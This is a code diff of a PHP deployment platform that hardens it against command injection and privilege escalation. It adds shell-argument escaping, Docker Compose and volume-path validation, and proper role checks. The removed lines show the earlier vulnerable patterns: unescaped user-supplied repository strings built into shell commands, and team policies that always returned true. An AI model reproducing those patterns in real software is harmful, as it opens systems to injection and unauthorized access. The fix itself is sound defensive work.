$this->imageTag = $parser->getTag();
$this->imageSha256 = '';
}
// Update imageName to just the base name
$this->imageName = $baseImageName;
}
} catch (\Exception $e) {
// If parsing fails, leave the image name as-is
// User will see validation error on submit
}
}
public function submit() public function submit()
{ {
// Strip 'sha256:' prefix if user pasted it
if ($this->imageSha256) {
$this->imageSha256 = preg_replace('/^sha256:/i', '', trim($this->imageSha256));
}
// Remove @sha256 from image name if user added it
if ($this->imageName) {
$this->imageName = preg_replace('/@sha256$/i', '', trim($this->imageName));
}
$this->validate([ $this->validate([
'imageName' => ['required', 'string'], 'imageName' => ['required', 'string'],
'imageTag' => ['nullable', 'string', 'regex:/^[a-z0-9][a-z0-9._-]*$/i'], 'imageTag' => ['nullable', 'string', 'regex:/^[a-z0-9][a-z0-9._-]*$/i'],
@@ -56,13 +98,16 @@ class DockerImage extends Component
// Build the full Docker image string // Build the full Docker image string
if ($this->imageSha256) { if ($this->imageSha256) {
$dockerImage = $this->imageName.'@sha256:'.$this->imageSha256; // Strip 'sha256:' prefix if user pasted it
$sha256Hash = preg_replace('/^sha256:/i', '', trim($this->imageSha256));
$dockerImage = $this->imageName.'@sha256:'.$sha256Hash;
} elseif ($this->imageTag) { } elseif ($this->imageTag) {
$dockerImage = $this->imageName.':'.$this->imageTag; $dockerImage = $this->imageName.':'.$this->imageTag;
} else { } else {
$dockerImage = $this->imageName.':latest'; $dockerImage = $this->imageName.':latest';
} }
// Parse using DockerImageParser to normalize the image reference
$parser = new DockerImageParser; $parser = new DockerImageParser;
$parser->parse($dockerImage); $parser->parse($dockerImage);
@@ -79,15 +124,15 @@ class DockerImage extends Component
$project = Project::where('uuid', $this->parameters['project_uuid'])->first(); $project = Project::where('uuid', $this->parameters['project_uuid'])->first();
$environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first();
// Determine the image tag based on whether it's a hash or regular tag
$imageTag = $parser->isImageHash() ? 'sha256-'.$parser->getTag() : $parser->getTag();
// Append @sha256 to image name if using digest and not already present // Append @sha256 to image name if using digest and not already present
$imageName = $parser->getFullImageNameWithoutTag(); $imageName = $parser->getFullImageNameWithoutTag();
if ($parser->isImageHash() && ! str_ends_with($imageName, '@sha256')) { if ($parser->isImageHash() && ! str_ends_with($imageName, '@sha256')) {
$imageName .= '@sha256'; $imageName .= '@sha256';
} }
// Determine the image tag based on whether it's a hash or regular tag
$imageTag = $parser->isImageHash() ? 'sha256-'.$parser->getTag() : $parser->getTag();
$application = Application::create([ $application = Application::create([
'name' => 'docker-image-'.new Cuid2, 'name' => 'docker-image-'.new Cuid2,
'repository_project_id' => 0, 'repository_project_id' => 0,
@@ -96,7 +141,7 @@ class DockerImage extends Component
'build_pack' => 'dockerimage', 'build_pack' => 'dockerimage',
'ports_exposes' => 80, 'ports_exposes' => 80,
'docker_registry_image_name' => $imageName, 'docker_registry_image_name' => $imageName,
'docker_registry_image_tag' => $parser->getTag(), 'docker_registry_image_tag' => $imageTag,
'environment_id' => $environment->id, 'environment_id' => $environment->id,
'destination_id' => $destination->id, 'destination_id' => $destination->id,
'destination_type' => $destination_class, 'destination_type' => $destination_class,

View File

@@ -33,6 +33,8 @@ class Configuration extends Component
return [ return [
"echo-private:team.{$teamId},ServiceChecked" => 'serviceChecked', "echo-private:team.{$teamId},ServiceChecked" => 'serviceChecked',
'refreshServices' => 'refreshServices',
'refresh' => 'refreshServices',
]; ];
} }

View File

@@ -88,6 +88,7 @@ class EditDomain extends Component
} }
$this->application->service->parse(); $this->application->service->parse();
$this->dispatch('refresh'); $this->dispatch('refresh');
$this->dispatch('refreshServices');
$this->dispatch('configurationChanged'); $this->dispatch('configurationChanged');
} catch (\Throwable $e) { } catch (\Throwable $e) {
$originalFqdn = $this->application->getOriginal('fqdn'); $originalFqdn = $this->application->getOriginal('fqdn');

View File

@@ -139,6 +139,10 @@ class StackForm extends Component
try { try {
$this->validate(); $this->validate();
$this->syncData(true); $this->syncData(true);
// Validate for command injection BEFORE saving to database
validateDockerComposeForInjection($this->service->docker_compose_raw);
$this->service->save(); $this->service->save();
$this->service->saveExtraFields($this->fields); $this->service->saveExtraFields($this->fields);
$this->service->parse(); $this->service->parse();

View File

@@ -290,6 +290,23 @@ class ByHetzner extends Component
} }
} }
private function getCpuVendorInfo(array $serverType): ?string
{
$name = strtolower($serverType['name'] ?? '');
if (str_starts_with($name, 'ccx')) {
return 'AMD Milan EPYC™';
} elseif (str_starts_with($name, 'cpx')) {
return 'AMD EPYC™';
} elseif (str_starts_with($name, 'cx')) {
return 'Intel® Xeon®';
} elseif (str_starts_with($name, 'cax')) {
return 'Ampere® Altra®';
}
return null;
}
public function getAvailableServerTypesProperty() public function getAvailableServerTypesProperty()
{ {
ray('Getting available server types', [ ray('Getting available server types', [
@@ -311,6 +328,11 @@ class ByHetzner extends Component
return in_array($this->selected_location, $locationNames); return in_array($this->selected_location, $locationNames);
}) })
->map(function ($serverType) {
$serverType['cpu_vendor_info'] = $this->getCpuVendorInfo($serverType);
return $serverType;
})
->values() ->values()
->toArray(); ->toArray();

View File

@@ -45,9 +45,16 @@ class InviteLink extends Component
try { try {
$this->authorize('manageInvitations', currentTeam()); $this->authorize('manageInvitations', currentTeam());
$this->validate(); $this->validate();
if (auth()->user()->role() === 'admin' && $this->role === 'owner') {
// Prevent privilege escalation: users cannot invite someone with higher privileges
$userRole = auth()->user()->role();
if ($userRole === 'member' && in_array($this->role, ['admin', 'owner'])) {
throw new \Exception('Members cannot invite admins or owners.');
}
if ($userRole === 'admin' && $this->role === 'owner') {
throw new \Exception('Admins cannot invite owners.'); throw new \Exception('Admins cannot invite owners.');
} }
$this->email = strtolower($this->email); $this->email = strtolower($this->email);
$member_emails = currentTeam()->members()->get()->pluck('email'); $member_emails = currentTeam()->members()->get()->pluck('email');

View File

@@ -1003,29 +1003,30 @@ class Application extends BaseModel
public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false) public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false)
{ {
$baseDir = $this->generateBaseDir($deployment_uuid); $baseDir = $this->generateBaseDir($deployment_uuid);
$escapedBaseDir = escapeshellarg($baseDir);
$isShallowCloneEnabled = $this->settings?->is_git_shallow_clone_enabled ?? false; $isShallowCloneEnabled = $this->settings?->is_git_shallow_clone_enabled ?? false;
if ($this->git_commit_sha !== 'HEAD') { if ($this->git_commit_sha !== 'HEAD') {
// If shallow clone is enabled and we need a specific commit, // If shallow clone is enabled and we need a specific commit,
// we need to fetch that specific commit with depth=1 // we need to fetch that specific commit with depth=1
if ($isShallowCloneEnabled) { if ($isShallowCloneEnabled) {
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git fetch --depth=1 origin {$this->git_commit_sha} && git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1"; $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git fetch --depth=1 origin {$this->git_commit_sha} && git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1";
} else { } else {
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1"; $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1";
} }
} }
if ($this->settings->is_git_submodules_enabled) { if ($this->settings->is_git_submodules_enabled) {
// Check if .gitmodules file exists before running submodule commands // Check if .gitmodules file exists before running submodule commands
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && if [ -f .gitmodules ]; then"; $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && if [ -f .gitmodules ]; then";
if ($public) { if ($public) {
$git_clone_command = "{$git_clone_command} sed -i \"s#git@\(.*\):#https://\\1/#g\" {$baseDir}/.gitmodules || true &&"; $git_clone_command = "{$git_clone_command} sed -i \"s#git@\(.*\):#https://\\1/#g\" {$escapedBaseDir}/.gitmodules || true &&";
} }
// Add shallow submodules flag if shallow clone is enabled // Add shallow submodules flag if shallow clone is enabled
$submoduleFlags = $isShallowCloneEnabled ? '--depth=1' : ''; $submoduleFlags = $isShallowCloneEnabled ? '--depth=1' : '';
$git_clone_command = "{$git_clone_command} git submodule sync && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git submodule update --init --recursive {$submoduleFlags}; fi"; $git_clone_command = "{$git_clone_command} git submodule sync && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git submodule update --init --recursive {$submoduleFlags}; fi";
} }
if ($this->settings->is_git_lfs_enabled) { if ($this->settings->is_git_lfs_enabled) {
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git lfs pull"; $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git lfs pull";
} }
return $git_clone_command; return $git_clone_command;
@@ -1063,18 +1064,24 @@ class Application extends BaseModel
$source_html_url_scheme = $url['scheme']; $source_html_url_scheme = $url['scheme'];
if ($this->source->getMorphClass() == 'App\Models\GithubApp') { if ($this->source->getMorphClass() == 'App\Models\GithubApp') {
$escapedCustomRepository = escapeshellarg($customRepository);
if ($this->source->is_public) { if ($this->source->is_public) {
$escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}");
$fullRepoUrl = "{$this->source->html_url}/{$customRepository}"; $fullRepoUrl = "{$this->source->html_url}/{$customRepository}";
$base_command = "{$base_command} {$this->source->html_url}/{$customRepository}"; $base_command = "{$base_command} {$escapedRepoUrl}";
} else { } else {
$github_access_token = generateGithubInstallationToken($this->source); $github_access_token = generateGithubInstallationToken($this->source);
if ($exec_in_docker) { if ($exec_in_docker) {
$base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git";
$fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; $escapedRepoUrl = escapeshellarg($repoUrl);
$base_command = "{$base_command} {$escapedRepoUrl}";
$fullRepoUrl = $repoUrl;
} else { } else {
$base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}";
$fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; $escapedRepoUrl = escapeshellarg($repoUrl);
$base_command = "{$base_command} {$escapedRepoUrl}";
$fullRepoUrl = $repoUrl;
} }
} }
@@ -1099,7 +1106,10 @@ class Application extends BaseModel
throw new RuntimeException('Private key not found. Please add a private key to the application and try again.'); throw new RuntimeException('Private key not found. Please add a private key to the application and try again.');
} }
$private_key = base64_encode($private_key); $private_key = base64_encode($private_key);
$base_comamnd = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} {$customRepository}"; // When used with executeInDocker (which uses bash -c '...'), we need to escape for bash context
// Replace ' with '\'' to safely escape within single-quoted bash strings
$escapedCustomRepository = str_replace("'", "'\\''", $customRepository);
$base_command = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'";
if ($exec_in_docker) { if ($exec_in_docker) {
$commands = collect([ $commands = collect([
@@ -1116,9 +1126,9 @@ class Application extends BaseModel
} }
if ($exec_in_docker) { if ($exec_in_docker) {
$commands->push(executeInDocker($deployment_uuid, $base_comamnd)); $commands->push(executeInDocker($deployment_uuid, $base_command));
} else { } else {
$commands->push($base_comamnd); $commands->push($base_command);
} }
return [ return [
@@ -1130,7 +1140,8 @@ class Application extends BaseModel
if ($this->deploymentType() === 'other') { if ($this->deploymentType() === 'other') {
$fullRepoUrl = $customRepository; $fullRepoUrl = $customRepository;
$base_command = "{$base_command} {$customRepository}"; $escapedCustomRepository = escapeshellarg($customRepository);
$base_command = "{$base_command} {$escapedCustomRepository}";
if ($exec_in_docker) { if ($exec_in_docker) {
$commands->push(executeInDocker($deployment_uuid, $base_command)); $commands->push(executeInDocker($deployment_uuid, $base_command));
@@ -1272,7 +1283,7 @@ class Application extends BaseModel
} else { } else {
$commands->push("echo 'Checking out $branch'"); $commands->push("echo 'Checking out $branch'");
} }
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
} elseif ($git_type === 'github' || $git_type === 'gitea') { } elseif ($git_type === 'github' || $git_type === 'gitea') {
$branch = "pull/{$pull_request_id}/head:$pr_branch_name"; $branch = "pull/{$pull_request_id}/head:$pr_branch_name";
if ($exec_in_docker) { if ($exec_in_docker) {
@@ -1280,14 +1291,14 @@ class Application extends BaseModel
} else { } else {
$commands->push("echo 'Checking out $branch'"); $commands->push("echo 'Checking out $branch'");
} }
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
} elseif ($git_type === 'bitbucket') { } elseif ($git_type === 'bitbucket') {
if ($exec_in_docker) { if ($exec_in_docker) {
$commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")); $commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'"));
} else { } else {
$commands->push("echo 'Checking out $branch'"); $commands->push("echo 'Checking out $branch'");
} }
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit); $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit);
} }
} }
@@ -1305,7 +1316,8 @@ class Application extends BaseModel
} }
if ($this->deploymentType() === 'other') { if ($this->deploymentType() === 'other') {
$fullRepoUrl = $customRepository; $fullRepoUrl = $customRepository;
$git_clone_command = "{$git_clone_command} {$customRepository} {$baseDir}"; $escapedCustomRepository = escapeshellarg($customRepository);
$git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}";
$git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true); $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true);
if ($pull_request_id !== 0) { if ($pull_request_id !== 0) {
@@ -1316,7 +1328,7 @@ class Application extends BaseModel
} else { } else {
$commands->push("echo 'Checking out $branch'"); $commands->push("echo 'Checking out $branch'");
} }
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
} elseif ($git_type === 'github' || $git_type === 'gitea') { } elseif ($git_type === 'github' || $git_type === 'gitea') {
$branch = "pull/{$pull_request_id}/head:$pr_branch_name"; $branch = "pull/{$pull_request_id}/head:$pr_branch_name";
if ($exec_in_docker) { if ($exec_in_docker) {
@@ -1324,14 +1336,14 @@ class Application extends BaseModel
} else { } else {
$commands->push("echo 'Checking out $branch'"); $commands->push("echo 'Checking out $branch'");
} }
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
} elseif ($git_type === 'bitbucket') { } elseif ($git_type === 'bitbucket') {
if ($exec_in_docker) { if ($exec_in_docker) {
$commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")); $commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'"));
} else { } else {
$commands->push("echo 'Checking out $branch'"); $commands->push("echo 'Checking out $branch'");
} }
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit); $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit);
} }
} }

View File

@@ -35,13 +35,18 @@ class InstanceSettings extends Model
protected static function booted(): void protected static function booted(): void
{ {
static::updated(function ($settings) { static::updated(function ($settings) {
if ($settings->isDirty('helper_version')) { if ($settings->wasChanged('helper_version')) {
Server::chunkById(100, function ($servers) { Server::chunkById(100, function ($servers) {
foreach ($servers as $server) { foreach ($servers as $server) {
PullHelperImageJob::dispatch($server); PullHelperImageJob::dispatch($server);
} }
}); });
} }
// Clear trusted hosts cache when FQDN changes
if ($settings->wasChanged('fqdn')) {
\Cache::forget('instance_settings_fqdn_host');
}
}); });
} }

View File

@@ -79,11 +79,11 @@ class ServerSetting extends Model
}); });
static::updated(function ($settings) { static::updated(function ($settings) {
if ( if (
$settings->isDirty('sentinel_token') || $settings->wasChanged('sentinel_token') ||
$settings->isDirty('sentinel_custom_url') || $settings->wasChanged('sentinel_custom_url') ||
$settings->isDirty('sentinel_metrics_refresh_rate_seconds') || $settings->wasChanged('sentinel_metrics_refresh_rate_seconds') ||
$settings->isDirty('sentinel_metrics_history_days') || $settings->wasChanged('sentinel_metrics_history_days') ||
$settings->isDirty('sentinel_push_interval_seconds') $settings->wasChanged('sentinel_push_interval_seconds')
) { ) {
$settings->server->restartSentinel(); $settings->server->restartSentinel();
} }

View File

@@ -42,8 +42,7 @@ class TeamPolicy
return false; return false;
} }
// return $user->isAdmin() || $user->isOwner(); return $user->isAdmin() || $user->isOwner();
return true;
} }
/** /**
@@ -56,8 +55,7 @@ class TeamPolicy
return false; return false;
} }
// return $user->isAdmin() || $user->isOwner(); return $user->isAdmin() || $user->isOwner();
return true;
} }
/** /**
@@ -70,8 +68,7 @@ class TeamPolicy
return false; return false;
} }
// return $user->isAdmin() || $user->isOwner(); return $user->isAdmin() || $user->isOwner();
return true;
} }
/** /**
@@ -84,8 +81,7 @@ class TeamPolicy
return false; return false;
} }
// return $user->isAdmin() || $user->isOwner(); return $user->isAdmin() || $user->isOwner();
return true;
} }
/** /**
@@ -98,7 +94,6 @@ class TeamPolicy
return false; return false;
} }
// return $user->isAdmin() || $user->isOwner(); return $user->isAdmin() || $user->isOwner();
return true;
} }
} }

View File

@@ -26,7 +26,7 @@ trait DeletesUserSessions
{ {
static::updated(function ($user) { static::updated(function ($user) {
// Check if password was changed // Check if password was changed
if ($user->isDirty('password')) { if ($user->wasChanged('password')) {
$user->deleteAllSessions(); $user->deleteAllSessions();
} }
}); });

View File

@@ -31,6 +31,7 @@ class Textarea extends Component
public bool $readonly = false, public bool $readonly = false,
public bool $allowTab = false, public bool $allowTab = false,
public bool $spellcheck = false, public bool $spellcheck = false,
public bool $autofocus = false,
public ?string $helper = null, public ?string $helper = null,
public bool $realtimeValidation = false, public bool $realtimeValidation = false,
public bool $allowToPeak = true, public bool $allowToPeak = true,

View File

@@ -378,6 +378,16 @@ function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_
if ($serviceLabels) { if ($serviceLabels) {
$middlewares_from_labels = $serviceLabels->map(function ($item) { $middlewares_from_labels = $serviceLabels->map(function ($item) {
// Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array)
if (is_array($item)) {
// Convert array to string format "key=value"
$key = collect($item)->keys()->first();
$value = collect($item)->values()->first();
$item = "$key=$value";
}
if (! is_string($item)) {
return null;
}
if (preg_match('/traefik\.http\.middlewares\.(.*?)(\.|$)/', $item, $matches)) { if (preg_match('/traefik\.http\.middlewares\.(.*?)(\.|$)/', $item, $matches)) {
return $matches[1]; return $matches[1];
} }
@@ -1120,6 +1130,76 @@ function escapeDollarSign($value)
return str_replace($search, $replace, $value); return str_replace($search, $replace, $value);
} }
/**
* Escape a value for use in a bash .env file that will be sourced with 'source' command
* Wraps the value in single quotes and escapes any single quotes within the value
*
* @param string|null $value The value to escape
* @return string The escaped value wrapped in single quotes
*/
function escapeBashEnvValue(?string $value): string
{
// Handle null or empty values
if ($value === null || $value === '') {
return "''";
}
// Replace single quotes with '\'' (end quote, escaped quote, start quote)
// This is the standard way to escape single quotes in bash single-quoted strings
$escaped = str_replace("'", "'\\''", $value);
// Wrap in single quotes
return "'{$escaped}'";
}
/**
* Escape a value for bash double-quoted strings (allows $VAR expansion)
*
* This function wraps values in double quotes while escaping special characters,
* but preserves valid bash variable references like $VAR and ${VAR}.
*
* @param string|null $value The value to escape
* @return string The escaped value wrapped in double quotes
*/
function escapeBashDoubleQuoted(?string $value): string
{
// Handle null or empty values
if ($value === null || $value === '') {
return '""';
}
// Step 1: Escape backslashes first (must be done before other escaping)
$escaped = str_replace('\\', '\\\\', $value);
// Step 2: Escape double quotes
$escaped = str_replace('"', '\\"', $escaped);
// Step 3: Escape backticks (command substitution)
$escaped = str_replace('`', '\\`', $escaped);
// Step 4: Escape invalid $ patterns while preserving valid variable references
// Valid patterns to keep:
// - $VAR_NAME (alphanumeric + underscore, starting with letter or _)
// - ${VAR_NAME} (brace expansion)
// - $0-$9 (positional parameters)
// Invalid patterns to escape: $&, $#, $$, $*, $@, $!, $(, etc.
// Match $ followed by anything that's NOT a valid variable start
// Valid variable starts: letter, underscore, digit (for $0-$9), or open brace
$escaped = preg_replace(
'/\$(?![a-zA-Z_0-9{])/',
'\\\$',
$escaped
);
// Preserve pre-escaped dollars inside double quotes: turn \\$ back into \$
// (keeps tests like "path\\to\\file" intact while restoring \$ semantics)
$escaped = preg_replace('/\\\\(?=\$)/', '\\\\', $escaped);
// Wrap in double quotes
return "\"{$escaped}\"";
}
/** /**
* Generate Docker build arguments from environment variables collection * Generate Docker build arguments from environment variables collection
* Returns only keys (no values) since values are sourced from environment via export * Returns only keys (no values) since values are sourced from environment via export

View File

@@ -16,6 +16,101 @@ use Spatie\Url\Url;
use Symfony\Component\Yaml\Yaml; use Symfony\Component\Yaml\Yaml;
use Visus\Cuid2\Cuid2; use Visus\Cuid2\Cuid2;
/**
* Validates a Docker Compose YAML string for command injection vulnerabilities.
* This should be called BEFORE saving to database to prevent malicious data from being stored.
*
* @param string $composeYaml The raw Docker Compose YAML content
*
* @throws \Exception If the compose file contains command injection attempts
*/
function validateDockerComposeForInjection(string $composeYaml): void
{
try {
$parsed = Yaml::parse($composeYaml);
} catch (\Exception $e) {
throw new \Exception('Invalid YAML format: '.$e->getMessage(), 0, $e);
}
if (! is_array($parsed) || ! isset($parsed['services']) || ! is_array($parsed['services'])) {
throw new \Exception('Docker Compose file must contain a "services" section');
}
// Validate service names
foreach ($parsed['services'] as $serviceName => $serviceConfig) {
try {
validateShellSafePath($serviceName, 'service name');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker Compose service name: '.$e->getMessage().
' Service names must not contain shell metacharacters.',
0,
$e
);
}
// Validate volumes in this service (both string and array formats)
if (isset($serviceConfig['volumes']) && is_array($serviceConfig['volumes'])) {
foreach ($serviceConfig['volumes'] as $volume) {
if (is_string($volume)) {
// String format: "source:target" or "source:target:mode"
validateVolumeStringForInjection($volume);
} elseif (is_array($volume)) {
// Array format: {type: bind, source: ..., target: ...}
if (isset($volume['source'])) {
$source = $volume['source'];
if (is_string($source)) {
// Allow simple env vars and env vars with defaults (validated in parseDockerVolumeString)
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
$isEnvVarWithDefault = preg_match('/^\$\{[^}]+:-[^}]*\}$/', $source);
if (! $isSimpleEnvVar && ! $isEnvVarWithDefault) {
try {
validateShellSafePath($source, 'volume source');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.',
0,
$e
);
}
}
}
}
if (isset($volume['target'])) {
$target = $volume['target'];
if (is_string($target)) {
try {
validateShellSafePath($target, 'volume target');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.',
0,
$e
);
}
}
}
}
}
}
}
}
/**
* Validates a Docker volume string (format: "source:target" or "source:target:mode")
*
* @param string $volumeString The volume string to validate
*
* @throws \Exception If the volume string contains command injection attempts
*/
function validateVolumeStringForInjection(string $volumeString): void
{
// Canonical parsing also validates and throws on unsafe input
parseDockerVolumeString($volumeString);
}
function parseDockerVolumeString(string $volumeString): array function parseDockerVolumeString(string $volumeString): array
{ {
$volumeString = trim($volumeString); $volumeString = trim($volumeString);
@@ -212,6 +307,46 @@ function parseDockerVolumeString(string $volumeString): array
// Otherwise keep the variable as-is for later expansion (no default value) // Otherwise keep the variable as-is for later expansion (no default value)
} }
// Validate source path for command injection attempts
// We validate the final source value after environment variable processing
if ($source !== null) {
// Allow simple environment variables like ${VAR_NAME} or ${VAR}
// but validate everything else for shell metacharacters
$sourceStr = is_string($source) ? $source : $source;
// Skip validation for simple environment variable references
// Pattern: ${WORD_CHARS} with no special characters inside
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceStr);
if (! $isSimpleEnvVar) {
try {
validateShellSafePath($sourceStr, 'volume source');
} catch (\Exception $e) {
// Re-throw with more context about the volume string
throw new \Exception(
'Invalid Docker volume definition: '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
}
// Also validate target path
if ($target !== null) {
$targetStr = is_string($target) ? $target : $target;
// Target paths in containers are typically absolute paths, so we validate them too
// but they're less likely to be dangerous since they're not used in host commands
// Still, defense in depth is important
try {
validateShellSafePath($targetStr, 'volume target');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition: '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
return [ return [
'source' => $source !== null ? str($source) : null, 'source' => $source !== null ? str($source) : null,
'target' => $target !== null ? str($target) : null, 'target' => $target !== null ? str($target) : null,
